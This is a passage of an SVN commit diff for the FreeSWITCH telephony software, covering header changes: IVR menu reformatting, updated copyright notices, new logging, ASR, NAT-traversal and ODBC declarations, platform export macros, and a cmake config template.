+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t *menu,
+															  switch_ivr_menu_action_function_t *function, const char *arg, const char *bind);
 
 
 /*!
@@ -725,17 +732,17 @@
  *\param obj A void pointer to an object you want to make avaliable to your callback functions that you may have binded with switch_ivr_menu_bind_function.
  *\return SWITCH_STATUS_SUCCESS if all is well
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_execute(switch_core_session_t *session, switch_ivr_menu_t *stack, char *name, void *obj);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_execute(switch_core_session_t *session, switch_ivr_menu_t *stack, char *name, void *obj);
 
 /*!
  *\brief free a stack of menu objects.
  *\param stack The top level menu you wish to destroy.
  *\return SWITCH_STATUS_SUCCESS if the object was a top level menu and it was freed
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_free(switch_ivr_menu_t *stack);
 
-	 struct switch_ivr_menu_xml_ctx;
-	 typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
+struct switch_ivr_menu_xml_ctx;
+typedef struct switch_ivr_menu_xml_ctx switch_ivr_menu_xml_ctx_t;
 /*!
  *\brief Build a menu stack from an xml source
  *\param xml_menu_ctx The XML menu parser context previously created by switch_ivr_menu_stack_xml_init
@@ -744,10 +751,10 @@
  *\param xml_menu The xml Menu source of the menu to be created
  *\return SWITCH_STATUS_SUCCESS if all is well
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
-																	 switch_ivr_menu_t **menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
+																switch_ivr_menu_t **menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu);
 
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action);
 
 /*!
  *\param xml_menu_ctx The XML menu parser context previously created by switch_ivr_menu_stack_xml_init
@@ -755,45 +762,47 @@
  *\param function The menu function callback that will be executed when menu digits are bound to this name
  *\return SWITCH_STATUS_SUCCESS if all is well
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
-																		  const char *name, switch_ivr_menu_action_function_t *function);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
+																	 const char *name, switch_ivr_menu_action_function_t *function);
 
 /*!
  *\param xml_menu_ctx A pointer of a XML menu parser context to be created
  *\param pool memory pool (NULL to create one)
  *\return SWITCH_STATUS_SUCCESS if all is well
  */
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t **xml_menu_ctx, switch_memory_pool_t *pool);
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_init(switch_ivr_menu_xml_ctx_t **xml_menu_ctx, switch_memory_pool_t *pool);
 
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_phrase_macro(switch_core_session_t *session, const char *macro_name, const char *data, const char *lang,
-															 switch_input_args_t *args);
-	 SWITCH_DECLARE(void) switch_ivr_delay_echo(switch_core_session_t *session, uint32_t delay_ms);
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_find_bridged_uuid(const char *uuid, char *b_uuid, switch_size_t blen);
-	 SWITCH_DECLARE(void) switch_ivr_intercept_session(switch_core_session_t *session, const char *uuid, switch_bool_t bleg);
-	 SWITCH_DECLARE(void) switch_ivr_park_session(switch_core_session_t *session);
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_answer(switch_core_session_t *session, switch_core_session_t *peer_session);
+SWITCH_DECLARE(switch_status_t) switch_ivr_phrase_macro(switch_core_session_t *session, const char *macro_name, const char *data, const char *lang,
+														switch_input_args_t *args);
+SWITCH_DECLARE(void) switch_ivr_delay_echo(switch_core_session_t *session, uint32_t delay_ms);
+SWITCH_DECLARE(switch_status_t) switch_ivr_find_bridged_uuid(const char *uuid, char *b_uuid, switch_size_t blen);
+SWITCH_DECLARE(void) switch_ivr_intercept_session(switch_core_session_t *session, const char *uuid, switch_bool_t bleg);
+SWITCH_DECLARE(void) switch_ivr_park_session(switch_core_session_t *session);
+SWITCH_DECLARE(switch_status_t) switch_ivr_wait_for_answer(switch_core_session_t *session, switch_core_session_t *peer_session);
 
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_read(switch_core_session_t *session,
-													 uint32_t min_digits,
-													 uint32_t max_digits,
-													 const char *prompt_audio_file,
-													 const char *var_name,
-													 char *digit_buffer,
-													 switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
+SWITCH_DECLARE(switch_status_t) switch_ivr_read(switch_core_session_t *session,
+												uint32_t min_digits,
+												uint32_t max_digits,
+												const char *prompt_audio_file,
+												const char *var_name,
+												char *digit_buffer,
+												switch_size_t digit_buffer_length, uint32_t timeout, const char *valid_terminators);
 
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_bind_dtmf_meta_session(switch_core_session_t *session, uint32_t key,
-																	   switch_bind_flag_t bind_flags, const char *app);
-     SWITCH_DECLARE(switch_status_t) switch_ivr_unbind_dtmf_meta_session(switch_core_session_t *session, uint32_t key);
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_soft_hold(switch_core_session_t *session, const char *unhold_key, const char *moh_a, const char *moh_b);
-	 SWITCH_DECLARE(switch_status_t) switch_ivr_say(switch_core_session_t *session, const char *tosay, const char *module_name, const char *say_type,
-													const char *say_method, switch_input_args_t *args);
+SWITCH_DECLARE(switch_status_t) switch_ivr_bind_dtmf_meta_session(switch_core_session_t *session, uint32_t key,
+																  switch_bind_flag_t bind_flags, const char *app);
+SWITCH_DECLARE(switch_status_t) switch_ivr_unbind_dtmf_meta_session(switch_core_session_t *session, uint32_t key);
+SWITCH_DECLARE(switch_status_t) switch_ivr_soft_hold(switch_core_session_t *session, const char *unhold_key, const char *moh_a, const char *moh_b);
+SWITCH_DECLARE(switch_status_t) switch_ivr_say(switch_core_session_t *session, const char *tosay, const char *module_name, const char *say_type,
+											   const char *say_method, switch_input_args_t *args);
 
-	 SWITCH_DECLARE(switch_say_method_t) switch_ivr_get_say_method_by_name(const char *name);
-	 SWITCH_DECLARE(switch_say_type_t) switch_ivr_get_say_type_by_name(const char *name);
-     SWITCH_DECLARE(switch_status_t) switch_ivr_set_user(switch_core_session_t *session, const char *data);
+SWITCH_DECLARE(switch_say_method_t) switch_ivr_get_say_method_by_name(const char *name);
+SWITCH_DECLARE(switch_say_type_t) switch_ivr_get_say_type_by_name(const char *name);
+SWITCH_DECLARE(switch_status_t) switch_ivr_set_user(switch_core_session_t *session, const char *data);
+SWITCH_DECLARE(switch_status_t) switch_ivr_sound_test(switch_core_session_t *session);
+SWITCH_DECLARE(void) switch_process_import(switch_core_session_t *session, switch_channel_t *peer_channel, const char *varname);
 /** @} */
 
-	 SWITCH_END_EXTERN_C
+SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:
  * Local Variables:

Modified: freeswitch/branches/seven/src/include/switch_loadable_module.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_loadable_module.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_loadable_module.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_loadable_module.h -- Loadable Modules
@@ -413,6 +413,7 @@
 		impl->destroy = destroy;
 		impl->codec_id = codec_interface->codec_id;
 		impl->next = codec_interface->implementations;
+		impl->impl_id = switch_core_codec_next_id();
 		codec_interface->implementations = impl;
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Rejected codec name: %s rate: %u ptime: %u\n", 
@@ -427,10 +428,15 @@
 	}
 
 
+static inline switch_bool_t switch_core_codec_ready(switch_codec_t *codec)
+{
+	return (codec && codec->implementation && (codec->flags & SWITCH_CODEC_FLAG_READY)) ? SWITCH_TRUE : SWITCH_FALSE;
+}
 
 
 
 
+
 SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:

Modified: freeswitch/branches/seven/src/include/switch_log.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_log.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_log.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_log.h -- Logger
@@ -93,12 +93,31 @@
   \param level the current log level
   \param fmt desired format
   \param ... variable args
-  \note there are channel macros to supply the first 4 parameters
+  \note there are channel macros to supply the first 4 parameters (SWITCH_CHANNEL_LOG, SWITCH_CHANNEL_LOG_CLEAN, ...)
+  \see switch_types.h
 */
 SWITCH_DECLARE(void) switch_log_printf(_In_ switch_text_channel_t channel, _In_z_ const char *file,
 									   _In_z_ const char *func, _In_ int line,
 									   _In_opt_z_ const char *userdata, _In_ switch_log_level_t level,
 									   _In_z_ _Printf_format_string_ const char *fmt, ...) PRINTF_FUNCTION(7, 8);
+/*!								
+  \brief Write log data to the logging engine
+  \param channel the log channel to write to
+  \param file the current file
+  \param func the current function
+  \param line the current line
+  \param userdata ununsed
+  \param level the current log level
+  \param fmt desired format
+  \param ap variable args
+  \note there are channel macros to supply the first 4 parameters (SWITCH_CHANNEL_LOG, SWITCH_CHANNEL_LOG_CLEAN, ...)
+  \see switch_types.h
+*/
+SWITCH_DECLARE(void) switch_log_vprintf(_In_ switch_text_channel_t channel, _In_z_ const char *file,
+									   _In_z_ const char *func, _In_ int line,
+									   _In_opt_z_ const char *userdata, _In_ switch_log_level_t level,
+										const char *fmt, va_list ap);
+
 #endif
 /*! 
   \brief Shut down  the logging engine

Modified: freeswitch/branches/seven/src/include/switch_module_interfaces.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_module_interfaces.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_module_interfaces.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_module_interfaces.h -- Module Interface Definitions
@@ -55,7 +55,9 @@
 	SWITCH_SHN_ON_CONSUME_MEDIA,
 	SWITCH_SHN_ON_HIBERNATE,
 	SWITCH_SHN_ON_RESET,
-	SWITCH_SHN_ON_PARK
+	SWITCH_SHN_ON_PARK,
+	SWITCH_SHN_ON_REPORTING,
+	SWITCH_SHN_ON_DESTROY
 } switch_state_handler_name_t;
 
 struct switch_state_handler_table {
@@ -79,6 +81,10 @@
 	switch_state_handler_t on_reset;
 	/*! executed when the state changes to park */
 	switch_state_handler_t on_park;
+	/*! executed when the state changes to reporting */
+	switch_state_handler_t on_reporting;
+	/*! executed when the state changes to destroy */
+	switch_state_handler_t on_destroy;
 	void *padding[10];
 };
 
@@ -314,7 +320,8 @@
 	uint32_t thresh;
 	uint32_t silence_hits;
 	uint32_t offset_pos;
-	uint32_t last_pos;
+	switch_size_t samples_in;
+	switch_size_t samples_out;
 	int32_t vol;
 	switch_audio_resampler_t *resampler;
 	switch_buffer_t *buffer;
@@ -335,9 +342,9 @@
 	/*! function to open the asr interface */
 	switch_status_t (*asr_open) (switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags);
 	/*! function to load a grammar to the asr interface */
-	switch_status_t (*asr_load_grammar) (switch_asr_handle_t *ah, const char *grammar, const char *path);
+	switch_status_t (*asr_load_grammar) (switch_asr_handle_t *ah, const char *grammar, const char *name);
 	/*! function to unload a grammar to the asr interface */
-	switch_status_t (*asr_unload_grammar) (switch_asr_handle_t *ah, const char *grammar);
+	switch_status_t (*asr_unload_grammar) (switch_asr_handle_t *ah, const char *name);
 	/*! function to close the asr interface */
 	switch_status_t (*asr_close) (switch_asr_handle_t *ah, switch_asr_flag_t *flags);
 	/*! function to feed audio to the ASR */
@@ -350,6 +357,11 @@
 	switch_status_t (*asr_check_results) (switch_asr_handle_t *ah, switch_asr_flag_t *flags);
 	/*! function to read results from the ASR */
 	switch_status_t (*asr_get_results) (switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags);
+	/*! function to start ASR input timers */
+	switch_status_t (*asr_start_input_timers) (switch_asr_handle_t *ah);
+	void (*asr_text_param) (switch_asr_handle_t *ah, char *param, const char *val);
+	void (*asr_numeric_param) (switch_asr_handle_t *ah, char *param, int val);
+	void (*asr_float_param) (switch_asr_handle_t *ah, char *param, double val);
 	switch_thread_rwlock_t *rwlock;
 	int refs;
 	switch_mutex_t *reflock;
@@ -389,7 +401,7 @@
 	/*! function to feed audio to the ASR */
 	switch_status_t (*speech_feed_tts) (switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags);
 	/*! function to read audio from the TTS */
-	switch_status_t (*speech_read_tts) (switch_speech_handle_t *sh, void *data, switch_size_t *datalen, uint32_t *rate, switch_speech_flag_t *flags);
+	switch_status_t (*speech_read_tts) (switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags);
 	void (*speech_flush_tts) (switch_speech_handle_t *sh);
 	void (*speech_text_param_tts) (switch_speech_handle_t *sh, char *param, const char *val);
 	void (*speech_numeric_param_tts) (switch_speech_handle_t *sh, char *param, int val);
@@ -402,7 +414,7 @@
 };
 
 
-/*! an abstract representation of a asr/tts speech interface. */
+/*! an abstract representation of a tts speech interface. */
 struct switch_speech_handle {
 	/*! the interface of the module that implemented the current speech interface */
 	switch_speech_interface_t *speech_interface;
@@ -420,6 +432,16 @@
 	char *param;
 	/*! the handle's memory pool */
 	switch_memory_pool_t *memory_pool;
+	switch_audio_resampler_t *resampler;
+	switch_buffer_t *buffer;
+	switch_byte_t *dbuf;
+	switch_size_t dbuflen;	
+	/*! the current samplerate */
+	uint32_t samplerate;
+	/*! the current native samplerate */
+	uint32_t native_rate;
+	/*! the number of channels */
+
 	/*! private data for the format module to store handle specific info */
 	void *private_info;
 };
@@ -595,6 +617,7 @@
 	/*! deinitalize a codec handle using this implementation */
 	switch_core_codec_destroy_func_t destroy;
 	uint32_t codec_id;
+	uint32_t impl_id;
 	struct switch_codec_implementation *next;
 };
 

Copied: freeswitch/branches/seven/src/include/switch_nat.h (from rev 14471, freeswitch/trunk/src/include/switch_nat.h) (0 => 14472)


--- freeswitch/branches/seven/src/include/switch_nat.h	                        (rev 0)
+++ freeswitch/branches/seven/src/include/switch_nat.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,109 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Brian K. West <brian@freeswitch.org>
+ *
+ *
+ * switch_nat.h NAT Traversal via NAT-PMP or uPNP
+ *
+ */
+/*!
+  \defgroup nat1 NAT code
+  \ingroup core1
+  \{
+*/
+#ifndef _SWITCH_NAT_H
+#define _SWITCH_NAT_H
+
+SWITCH_BEGIN_EXTERN_C
+
+typedef enum {
+	SWITCH_NAT_TYPE_NONE,
+	SWITCH_NAT_TYPE_PMP,
+	SWITCH_NAT_TYPE_UPNP
+} switch_nat_type_t;
+
+typedef enum {
+	SWITCH_NAT_UDP,
+	SWITCH_NAT_TCP
+} switch_nat_ip_proto_t;
+
+
+
+/*! 
+  \brief Initilize the NAT Traversal System
+  \param pool the memory pool to use for long term allocations
+  \note Generally called by the core_init
+*/
+SWITCH_DECLARE(void) switch_nat_init(switch_memory_pool_t *pool);
+/*!
+ \brief Shuts down the NAT Traversal System
+*/
+SWITCH_DECLARE(void) switch_nat_shutdown(void);
+
+/*!
+ \brief Returns a list of nat mappings and other status info
+ \note  caller must free the string
+*/
+SWITCH_DECLARE(char *) switch_nat_status(void);
+
+/*!
+ \brief Republishes the nap mappings
+ */
+SWITCH_DECLARE(void) switch_nat_republish(void);
+
+/*!
+ \brief re-initializes NAT subsystem
+*/
+SWITCH_DECLARE(void) switch_nat_reinit(void);
+
+/*!
+ \brief Maps a port through the NAT Traversal System
+ \param port Internal port to map
+ \param proto Protocol
+ \param external_port [out] Mapped external port 
+ \param sticky make the mapping permanent
+*/
+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky);
+/*!
+ \brief Deletes a NAT mapping
+ \param proto Protocol
+*/
+SWITCH_DECLARE(switch_status_t) switch_nat_del_mapping(switch_port_t port, switch_nat_ip_proto_t proto);
+
+
+SWITCH_END_EXTERN_C
+#endif
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Modified: freeswitch/branches/seven/src/include/switch_odbc.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_odbc.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_odbc.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_odbc.h -- ODBC
  *
@@ -33,19 +33,12 @@
 #define SWITCH_ODBC_H
 
 #include <switch.h>
-#include <sql.h>
-#ifdef _MSC_VER
-#pragma warning(push)
-#pragma warning(disable:4201)
-#include <sqlext.h>
-#pragma warning(pop)
-#else
-#include <sqlext.h>
-#endif
-#include <sqltypes.h>
 
-SWITCH_BEGIN_EXTERN_C struct switch_odbc_handle;
+SWITCH_BEGIN_EXTERN_C 
 
+struct switch_odbc_handle;
+typedef void * switch_odbc_statement_handle_t;
+
 typedef enum {
 	SWITCH_ODBC_STATE_INIT,
 	SWITCH_ODBC_STATE_DOWN,
@@ -63,7 +56,13 @@
 SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_connect(switch_odbc_handle_t *handle);
 SWITCH_DECLARE(void) switch_odbc_handle_destroy(switch_odbc_handle_t **handlep);
 SWITCH_DECLARE(switch_odbc_state_t) switch_odbc_handle_get_state(switch_odbc_handle_t *handle);
-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, char *sql, SQLHSTMT * rstmt);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, char *sql, switch_odbc_statement_handle_t * rstmt);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
+																	char *sql,
+																	char *resbuf,
+																	size_t len);
+SWITCH_DECLARE(switch_bool_t) switch_odbc_available(void);
+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt);
 
 /*!
   \brief Execute the sql query and issue a callback for each row returned
@@ -93,7 +92,7 @@
 												  handle, sql, callback, pdata)
 
 																	  
-SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, SQLHSTMT stmt);
+SWITCH_DECLARE(char *) switch_odbc_handle_get_error(switch_odbc_handle_t *handle, switch_odbc_statement_handle_t stmt);
 SWITCH_END_EXTERN_C
 #endif
 /* For Emacs:

Modified: freeswitch/branches/seven/src/include/switch_platform.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch_platform.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch_platform.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch_platform.h -- Platform Specific Header
  *
@@ -145,13 +145,16 @@
 #define SWITCH_DECLARE_DATA				__declspec(dllimport)
 #endif
 #if defined(SWITCH_MOD_DECLARE_STATIC)
-#define SWITCH_MOD_DECLARE(type)		type __cdecl
+#define SWITCH_MOD_DECLARE(type)		type __stdcall
+#define SWITCH_MOD_DECLARE_NONSTD(type)	type __cdecl
 #define SWITCH_MOD_DECLARE_DATA
 #elif defined(MOD_EXPORTS)
-#define SWITCH_MOD_DECLARE(type)		__declspec(dllexport) type __cdecl
+#define SWITCH_MOD_DECLARE(type)		__declspec(dllexport) type __stdcall
+#define SWITCH_MOD_DECLARE_NONSTD(type)	__declspec(dllexport) type __cdecl
 #define SWITCH_MOD_DECLARE_DATA			__declspec(dllexport)
 #else
-#define SWITCH_MOD_DECLARE(type)		__declspec(dllimport) type __cdecl
+#define SWITCH_MOD_DECLARE(type)		__declspec(dllimport) type __stdcall
+#define SWITCH_MOD_DECLARE_NONSTD(type)	__declspec(dllimport) type __cdecl
 #define SWITCH_MOD_DECLARE_DATA			__declspec(dllimport)
 #endif
 #define SIGHUP SIGTERM
@@ -162,13 +165,26 @@
 #define S_IWUSR _S_IWRITE
 #endif
 #define SWITCH_THREAD_FUNC  __stdcall
+#define SWITCH_DECLARE_CLASS
 #else //not win32
 #define O_BINARY 0
-#define SWITCH_DECLARE(type) type
-#define SWITCH_DECLARE_NONSTD(type) type
-#define SWITCH_MOD_DECLARE(type) type
+#if (defined(__GNUC__) || defined(__SUNPRO_CC) || defined (__SUNPRO_C)) && defined(SWITCH_API_VISIBILITY)
+#define SWITCH_DECLARE(type)		__attribute__((visibility("default"))) type
+#define SWITCH_DECLARE_NONSTD(type)	__attribute__((visibility("default"))) type
+#define SWITCH_DECLARE_DATA		__attribute__((visibility("default")))
+#define SWITCH_MOD_DECLARE(type)	__attribute__((visibility("default"))) type
+#define SWITCH_MOD_DECLARE_NONSTD(type)	__attribute__((visibility("default"))) type
+#define SWITCH_MOD_DECLARE_DATA		__attribute__((visibility("default")))
+#define SWITCH_DECLARE_CLASS		__attribute__((visibility("default")))
+#else
+#define SWITCH_DECLARE(type)		type
+#define SWITCH_DECLARE_NONSTD(type)	type
 #define SWITCH_DECLARE_DATA
+#define SWITCH_MOD_DECLARE(type)	type
+#define SWITCH_MOD_DECLARE_NONSTD(type)	type
 #define SWITCH_MOD_DECLARE_DATA
+#define SWITCH_DECLARE_CLASS
+#endif
 #define SWITCH_THREAD_FUNC
 #endif
 #define SWITCH_DECLARE_CONSTRUCTOR SWITCH_DECLARE_DATA

Copied: freeswitch/branches/seven/src/include/switch_private.h.cmake (from rev 14471, freeswitch/trunk/src/include/switch_private.h.cmake) (0 => 14472)


--- freeswitch/branches/seven/src/include/switch_private.h.cmake	                        (rev 0)
+++ freeswitch/branches/seven/src/include/switch_private.h.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,326 @@
+/* src/include/switch_private.h.cmake.  Generated from cmake.  */
+
+/* Enable extra debugging. */
+#cmakedefine DEBUG
+
+/* Disable the embedded resampler */
+#cmakedefine DISABLE_RESAMPLE
+
+/* Define to 1 if you have the `asprintf' function. */
+#cmakedefine HAVE_ASPRINTF
+
+/* Define if you have clock_gettime() */
+#cmakedefine HAVE_CLOCK_GETTIME
+
+/* Define if you have clock_nanosleep() */
+#cmakedefine HAVE_CLOCK_NANOSLEEP
+
+/* Define to 1 if you have the <dirent.h> header file, and it defines `DIR'.
+   */
+#cmakedefine HAVE_DIRENT_H
+
+/* Define to 1 if you have the <dlfcn.h> header file. */
+#cmakedefine HAVE_DLFCN_H
+
+/* Define to 1 if you have the <execinfo.h> header file. */
+#cmakedefine HAVE_EXECINFO_H
+
+/* Define to 1 if you have the `gethostname' function. */
+#cmakedefine HAVE_GETHOSTNAME
+
+/* Define to 1 if you have the `gettimeofday' function. */
+#cmakedefine HAVE_GETTIMEOFDAY
+
+/* Define to 1 if you have the `gmtime_r' function. */
+#cmakedefine HAVE_GMTIME_R
+
+/* Define to 1 if you have the `initgroups' function. */
+#cmakedefine HAVE_INITGROUPS
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#cmakedefine HAVE_INTTYPES_H
+
+/* Define to 1 if you have a functional curl library. */
+#cmakedefine HAVE_LIBCURL
+
+/* Define to 1 if you have the `curses' library (-lcurses). */
+#cmakedefine HAVE_LIBCURSES
+
+/* Define to 1 if you have the `ncurses' library (-lncurses). */
+#cmakedefine HAVE_LIBNCURSES
+
+/* Define to 1 if you have the `socket' library (-lsocket). */
+#cmakedefine HAVE_LIBSOCKET
+
+/* Define to 1 if you have the `localtime_r' function. */
+#cmakedefine HAVE_LOCALTIME_R
+
+/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
+   to 0 otherwise. */
+#cmakedefine HAVE_MALLOC
+
+/* Define to 1 if you have the <memory.h> header file. */
+#cmakedefine HAVE_MEMORY_H
+
+/* Define to 1 if you have the `mlock' function. */
+#cmakedefine HAVE_MLOCK
+
+/* Define to 1 if you have the `mlockall' function. */
+#cmakedefine HAVE_MLOCKALL
+
+/* Define to 1 if you have the `mmap' function. */
+#cmakedefine HAVE_MMAP
+
+/* Define to 1 if you have the <ndir.h> header file, and it defines `DIR'. */
+#cmakedefine HAVE_NDIR_H
+
+/* Define to 1 if you have the <netdb.h> header file. */
+#cmakedefine HAVE_NETDB_H
+
